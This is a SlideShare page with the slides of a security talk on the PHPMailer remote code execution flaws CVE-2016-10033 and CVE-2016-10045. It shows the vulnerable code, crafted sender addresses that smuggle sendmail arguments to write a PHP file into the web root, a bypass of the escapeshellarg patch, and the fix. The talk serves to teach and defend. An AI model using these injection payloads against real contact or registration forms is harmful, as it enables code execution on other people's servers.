SlideShare ist ein Scribd-Unternehmen logo
1 von 12
PHP MAILER REMOTE CODE
EXECUTION
CVE-2016-10033, CVE-2016-10045
NEELU TRIPATHY
PHP MAILER
• Most Popular Code For Sending Email
From PHP!
• Used By Many Open-source Projects:
Wordpress, Drupal, 1crm, Sugar CRM,
Joomla! And Many More
• Cve-2016-10033
• Affected Versions : < 5.2.18
• Exploit Variants Available In Bash, PHP &
Python
Where To Look?
• To Exploit The Vulnerability An Attacker Could Target Common Website Components
Such As:
• Contact/Feedback Forms,
• Registration Forms,
• Password Email Resets
• And Others That Send Out Emails With The Help Of A Vulnerable Version Of ‘Phpmailer’
Class…
VULNERABLE CODE
protected function mailsend($header, $body)
{
$toarr = array();
foreach ($this->to as $toaddr) {
$toarr[] = $this->addrformat($toaddr);
}
$to = implode(', ', $toarr);
$params = null;
//this sets the smtp envelope sender which gets turned into a
return-path header by the receiver
if (!empty($this->sender)) {
$params = sprintf('-f%s', $this->sender);
}
if ($this->sender != '' and !ini_get('safe_mode')) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->sender); }
$result = false;
if ($this->singleto and count($toarr) > 1) {
foreach ($toarr as $toaddr) {
$result = $this->mailpassthru($toaddr, $this-
>subject, $body, $header, $params);
What’s Next
• $Params = Sprintf('-f%s', $This->sender);
//Function.Mail.Php
• Public Function Setfrom($address, $Name = '', $Auto = True) //
Sender Address Verification
• RFC 3696 Specification: Allows Email To Contain Spaces
“Attacker Crafted Command As Email”@fakeemail.Com
$result = $this->mailpassthru($toaddr, $this-
>subject, $body, $header, $params);
CRAFTING THE VECTOR
"attacker -param2 -param3"@test.com
• arg no. 0 == [/usr/sbin/sendmail]
• arg no. 1 == [-t]
• arg no. 2 == [-i]
• arg no. 3 == [-fattacker -param2 -
param3@test.com]
"attacker " -param2 -param3"@test.com
• arg no. 0 == [/usr/sbin/sendmail]
• arg no. 1 == [-t]
• arg no. 2 == [-i]
• arg no. 3 == [-fattacker]
• arg no. 4 == [-param2]
• arg no. 5 == [-param3"@test.com]
FINAL SEND(ER)
• $email_from = '"attacker" -oq/tmp/ -
x/var/www/cache/phpcode.php
some"@email.com';
• $msg_body = "<?php phpinfo(); ?>";
//can't use additional_parameters in safe_mode
//@link
http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this-
>usesendmailoptions or is_null($params)) {
$result = @mail($to, $subject,
$body, $header);
} else {
$result = @mail($to, $subject,
$body, $header, $params);
}
EXECUTION
DEMO RUN
CVE-2016-10045
PATCH
Sanitize $Sender > Apply
Escapeshellarg() :
Escaping Before The Value Is Passed
To Mail()
escapeshellarg() escapeshellcmd()
https://legalhackers.com/advisories/PHPMailer-
Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-
Patch-Bypass.html
Phpmailer 5.2.18-19
• Extra Quote
• Patched But Vulnerable: Phpmailer
5.2.18-19
• $Mail-
>setfrom(""attacker' -
Param2 -Param3"@test.Com",
'Client Name');
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-f"Attacker]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"@test.com']
Modified Attacker Code
REFERENCES
• https://github.com/PHPMailer/PHPMailer
• https://legalhackers.com/advisories/phpmailer-exploit-
remote-code-exec-cve-2016-10045-vuln-patch-bypass.html
• https://www.exploit-db.com/exploits/40968/
• https://www.exploit-db.com/exploits/40969/
• https://github.com/opsxcq/exploit-cve-2016-10033
• https://legalhackers.com/advisories/phpmailer-exploit-
remote-code-exec-cve-2016-10033-vuln.html
THANK YOU!

Weitere ähnliche Inhalte

Ähnlich wie PHP MAILER RCE VULNERABILITIES CVE-2016-10033 AND CVE-2016-10045

Ch1(introduction to php)
Ch1(introduction to php)Ch1(introduction to php)
Ch1(introduction to php)Chhom Karath
 
全裸でワンライナー(仮)
全裸でワンライナー(仮)全裸でワンライナー(仮)
全裸でワンライナー(仮)Yoshihiro Sugi
 
Massive emailing with Linux, Postfix and Ruby on Rails
Massive emailing with Linux, Postfix and Ruby on RailsMassive emailing with Linux, Postfix and Ruby on Rails
Massive emailing with Linux, Postfix and Ruby on Railsibelmonte
 
php 2 Function creating, calling, PHP built-in function
php 2 Function creating, calling,PHP built-in functionphp 2 Function creating, calling,PHP built-in function
php 2 Function creating, calling, PHP built-in functiontumetr1
 
Sending E-mail that reaches the destination using PHP
Sending E-mail that reaches the destination using PHPSending E-mail that reaches the destination using PHP
Sending E-mail that reaches the destination using PHPManuel Lemos
 
Aseem - AntiSpam - Understanding the good, the bad and the ugly - ClubHack2008
Aseem - AntiSpam - Understanding the good, the bad and the ugly - ClubHack2008Aseem - AntiSpam - Understanding the good, the bad and the ugly - ClubHack2008
Aseem - AntiSpam - Understanding the good, the bad and the ugly - ClubHack2008ClubHack
 
AntiSpam - Understanding the good, the bad and the ugly
AntiSpam - Understanding the good, the bad and the uglyAntiSpam - Understanding the good, the bad and the ugly
AntiSpam - Understanding the good, the bad and the uglyamiable_indian
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I thinkWim Godden
 
Hacking 101 for developers
Hacking 101 for developersHacking 101 for developers
Hacking 101 for developersTomer Zait
 
Let's begin resource monitoring with munin 2011 1209 zem_distribution
Let's begin resource monitoring with munin 2011 1209 zem_distributionLet's begin resource monitoring with munin 2011 1209 zem_distribution
Let's begin resource monitoring with munin 2011 1209 zem_distributionMasahito Zembutsu
 
WordPress Cuztom Helper
WordPress Cuztom HelperWordPress Cuztom Helper
WordPress Cuztom Helperslicejack
 
PHP SA 2014 - Releasing Your Open Source Project
PHP SA 2014 - Releasing Your Open Source ProjectPHP SA 2014 - Releasing Your Open Source Project
PHP SA 2014 - Releasing Your Open Source Projectxsist10
 
Eight simple rules to writing secure PHP programs
Eight simple rules to writing secure PHP programsEight simple rules to writing secure PHP programs
Eight simple rules to writing secure PHP programsAleksandr Yampolskiy
 
Dealing with Legacy Perl Code - Peter Scott
Dealing with Legacy Perl Code - Peter ScottDealing with Legacy Perl Code - Peter Scott
Dealing with Legacy Perl Code - Peter ScottO'Reilly Media
 
Kicking off with Zend Expressive and Doctrine ORM (PHPNW2016)
Kicking off with Zend Expressive and Doctrine ORM (PHPNW2016)Kicking off with Zend Expressive and Doctrine ORM (PHPNW2016)
Kicking off with Zend Expressive and Doctrine ORM (PHPNW2016)James Titcumb
 
Kicking off with Zend Expressive and Doctrine ORM (ZendCon 2016)
Kicking off with Zend Expressive and Doctrine ORM (ZendCon 2016)Kicking off with Zend Expressive and Doctrine ORM (ZendCon 2016)
Kicking off with Zend Expressive and Doctrine ORM (ZendCon 2016)James Titcumb
 
Creating "Secure" PHP Applications, Part 1, Explicit Code & QA
Creating "Secure" PHP Applications, Part 1, Explicit Code & QACreating "Secure" PHP Applications, Part 1, Explicit Code & QA
Creating "Secure" PHP Applications, Part 1, Explicit Code & QAarchwisp
 

Ähnlich wie PHP MAILER RCE VULNERABILITIES CVE-2016-10033 AND CVE-2016-10045 (20)

Ch1(introduction to php)
Ch1(introduction to php)Ch1(introduction to php)
Ch1(introduction to php)
 
全裸でワンライナー(仮)
全裸でワンライナー(仮)全裸でワンライナー(仮)
全裸でワンライナー(仮)
 
Massive emailing with Linux, Postfix and Ruby on Rails
Massive emailing with Linux, Postfix and Ruby on RailsMassive emailing with Linux, Postfix and Ruby on Rails
Massive emailing with Linux, Postfix and Ruby on Rails
 
php 2 Function creating, calling, PHP built-in function
php 2 Function creating, calling,PHP built-in functionphp 2 Function creating, calling,PHP built-in function
php 2 Function creating, calling, PHP built-in function
 
Sending E-mail that reaches the destination using PHP
Sending E-mail that reaches the destination using PHPSending E-mail that reaches the destination using PHP
Sending E-mail that reaches the destination using PHP
 
Postman On Steroids
Postman On SteroidsPostman On Steroids
Postman On Steroids
 
Aseem - AntiSpam - Understanding the good, the bad and the ugly - ClubHack2008
Aseem - AntiSpam - Understanding the good, the bad and the ugly - ClubHack2008Aseem - AntiSpam - Understanding the good, the bad and the ugly - ClubHack2008
Aseem - AntiSpam - Understanding the good, the bad and the ugly - ClubHack2008
 
AntiSpam - Understanding the good, the bad and the ugly
AntiSpam - Understanding the good, the bad and the uglyAntiSpam - Understanding the good, the bad and the ugly
AntiSpam - Understanding the good, the bad and the ugly
 
My app is secure... I think
My app is secure... I thinkMy app is secure... I think
My app is secure... I think
 
Hacking 101 for developers
Hacking 101 for developersHacking 101 for developers
Hacking 101 for developers
 
Let's begin resource monitoring with munin 2011 1209 zem_distribution
Let's begin resource monitoring with munin 2011 1209 zem_distributionLet's begin resource monitoring with munin 2011 1209 zem_distribution
Let's begin resource monitoring with munin 2011 1209 zem_distribution
 
WordPress Cuztom Helper
WordPress Cuztom HelperWordPress Cuztom Helper
WordPress Cuztom Helper
 
PHP SA 2014 - Releasing Your Open Source Project
PHP SA 2014 - Releasing Your Open Source ProjectPHP SA 2014 - Releasing Your Open Source Project
PHP SA 2014 - Releasing Your Open Source Project
 
Eight simple rules to writing secure PHP programs
Eight simple rules to writing secure PHP programsEight simple rules to writing secure PHP programs
Eight simple rules to writing secure PHP programs
 
Qpsmtpd
QpsmtpdQpsmtpd
Qpsmtpd
 
Dealing with Legacy Perl Code - Peter Scott
Dealing with Legacy Perl Code - Peter ScottDealing with Legacy Perl Code - Peter Scott
Dealing with Legacy Perl Code - Peter Scott
 
Kicking off with Zend Expressive and Doctrine ORM (PHPNW2016)
Kicking off with Zend Expressive and Doctrine ORM (PHPNW2016)Kicking off with Zend Expressive and Doctrine ORM (PHPNW2016)
Kicking off with Zend Expressive and Doctrine ORM (PHPNW2016)
 
Kicking off with Zend Expressive and Doctrine ORM (ZendCon 2016)
Kicking off with Zend Expressive and Doctrine ORM (ZendCon 2016)Kicking off with Zend Expressive and Doctrine ORM (ZendCon 2016)
Kicking off with Zend Expressive and Doctrine ORM (ZendCon 2016)
 
Creating "Secure" PHP Applications, Part 1, Explicit Code & QA
Creating "Secure" PHP Applications, Part 1, Explicit Code & QACreating "Secure" PHP Applications, Part 1, Explicit Code & QA
Creating "Secure" PHP Applications, Part 1, Explicit Code & QA
 
QA for PHP projects
QA for PHP projectsQA for PHP projects
QA for PHP projects
 

Mehr von Neelu Tripathy

ContinuousSecurity, Beyond Automation.pdf
ContinuousSecurity, Beyond Automation.pdfContinuousSecurity, Beyond Automation.pdf
ContinuousSecurity, Beyond Automation.pdfNeelu Tripathy
 
Security Testing ModernApps_v1.0
Security Testing ModernApps_v1.0Security Testing ModernApps_v1.0
Security Testing ModernApps_v1.0Neelu Tripathy
 
Mobile Security Risks & Mitigations
Mobile Security Risks & MitigationsMobile Security Risks & Mitigations
Mobile Security Risks & MitigationsNeelu Tripathy
 
Pentesting GraphQL Applications
Pentesting GraphQL ApplicationsPentesting GraphQL Applications
Pentesting GraphQL ApplicationsNeelu Tripathy
 
Understanding Burp Replicator
Understanding Burp ReplicatorUnderstanding Burp Replicator
Understanding Burp ReplicatorNeelu Tripathy
 
Social Engineering Techniques
Social Engineering TechniquesSocial Engineering Techniques
Social Engineering TechniquesNeelu Tripathy
 

Mehr von Neelu Tripathy (7)

ContinuousSecurity, Beyond Automation.pdf
ContinuousSecurity, Beyond Automation.pdfContinuousSecurity, Beyond Automation.pdf
ContinuousSecurity, Beyond Automation.pdf
 
Security Testing ModernApps_v1.0
Security Testing ModernApps_v1.0Security Testing ModernApps_v1.0
Security Testing ModernApps_v1.0
 
Mobile Security Risks & Mitigations
Mobile Security Risks & MitigationsMobile Security Risks & Mitigations
Mobile Security Risks & Mitigations
 
Pentesting GraphQL Applications
Pentesting GraphQL ApplicationsPentesting GraphQL Applications
Pentesting GraphQL Applications
 
Burp Suite Extensions
Burp Suite ExtensionsBurp Suite Extensions
Burp Suite Extensions
 
Understanding Burp Replicator
Understanding Burp ReplicatorUnderstanding Burp Replicator
Understanding Burp Replicator
 
Social Engineering Techniques
Social Engineering TechniquesSocial Engineering Techniques
Social Engineering Techniques
 

Kürzlich hochgeladen

TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteDianaGray10
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionDilum Bandara
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfAddepto
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024Stephanie Beckett
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyAlfredo García Lavilla
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.Curtis Poe
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsMiki Katsuragi
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 

Kürzlich hochgeladen (20)

TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test Suite
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An Introduction
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdf
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easy
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering Tips
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 

PHP MAILER RCE VULNERABILITIES CVE-2016-10033 AND CVE-2016-10045

  • 1. PHP MAILER REMOTE CODE EXECUTION CVE-2016-10033, CVE-2016-10045 NEELU TRIPATHY
  • 2. PHP MAILER • Most Popular Code For Sending Email From PHP! • Used By Many Open-source Projects: Wordpress, Drupal, 1crm, Sugar CRM, Joomla! And Many More • Cve-2016-10033 • Affected Versions : < 5.2.18 • Exploit Variants Available In Bash, PHP & Python
  • 3. Where To Look? • To Exploit The Vulnerability An Attacker Could Target Common Website Components Such As: • Contact/Feedback Forms, • Registration Forms, • Password Email Resets • And Others That Send Out Emails With The Help Of A Vulnerable Version Of ‘Phpmailer’ Class…
  • 4. VULNERABLE CODE protected function mailsend($header, $body) { $toarr = array(); foreach ($this->to as $toaddr) { $toarr[] = $this->addrformat($toaddr); } $to = implode(', ', $toarr); $params = null; //this sets the smtp envelope sender which gets turned into a return-path header by the receiver if (!empty($this->sender)) { $params = sprintf('-f%s', $this->sender); } if ($this->sender != '' and !ini_get('safe_mode')) { $old_from = ini_get('sendmail_from'); ini_set('sendmail_from', $this->sender); } $result = false; if ($this->singleto and count($toarr) > 1) { foreach ($toarr as $toaddr) { $result = $this->mailpassthru($toaddr, $this- >subject, $body, $header, $params);
  • 5. What’s Next • $Params = Sprintf('-f%s', $This->sender); //Function.Mail.Php • Public Function Setfrom($address, $Name = '', $Auto = True) // Sender Address Verification • RFC 3696 Specification: Allows Email To Contain Spaces “Attacker Crafted Command As Email”@fakeemail.Com $result = $this->mailpassthru($toaddr, $this- >subject, $body, $header, $params);
  • 6. CRAFTING THE VECTOR "attacker -param2 -param3"@test.com • arg no. 0 == [/usr/sbin/sendmail] • arg no. 1 == [-t] • arg no. 2 == [-i] • arg no. 3 == [-fattacker -param2 - param3@test.com] "attacker " -param2 -param3"@test.com • arg no. 0 == [/usr/sbin/sendmail] • arg no. 1 == [-t] • arg no. 2 == [-i] • arg no. 3 == [-fattacker] • arg no. 4 == [-param2] • arg no. 5 == [-param3"@test.com]
  • 7. FINAL SEND(ER) • $email_from = '"attacker" -oq/tmp/ - x/var/www/cache/phpcode.php some"@email.com'; • $msg_body = "<?php phpinfo(); ?>"; //can't use additional_parameters in safe_mode //@link http://php.net/manual/en/function.mail.php if (ini_get('safe_mode') or !$this- >usesendmailoptions or is_null($params)) { $result = @mail($to, $subject, $body, $header); } else { $result = @mail($to, $subject, $body, $header, $params); }
  • 10. CVE-2016-10045 PATCH Sanitize $Sender > Apply Escapeshellarg() : Escaping Before The Value Is Passed To Mail() escapeshellarg() escapeshellcmd() https://legalhackers.com/advisories/PHPMailer- Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln- Patch-Bypass.html
  • 11. Phpmailer 5.2.18-19 • Extra Quote • Patched But Vulnerable: Phpmailer 5.2.18-19 • $Mail- >setfrom(""attacker' - Param2 -Param3"@test.Com", 'Client Name'); Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-f"Attacker] Arg no. 4 == [-Param2] Arg no. 5 == [-Param3"@test.com'] Modified Attacker Code
  • 12. REFERENCES • https://github.com/PHPMailer/PHPMailer • https://legalhackers.com/advisories/phpmailer-exploit- remote-code-exec-cve-2016-10045-vuln-patch-bypass.html • https://www.exploit-db.com/exploits/40968/ • https://www.exploit-db.com/exploits/40969/ • https://github.com/opsxcq/exploit-cve-2016-10033 • https://legalhackers.com/advisories/phpmailer-exploit- remote-code-exec-cve-2016-10033-vuln.html THANK YOU!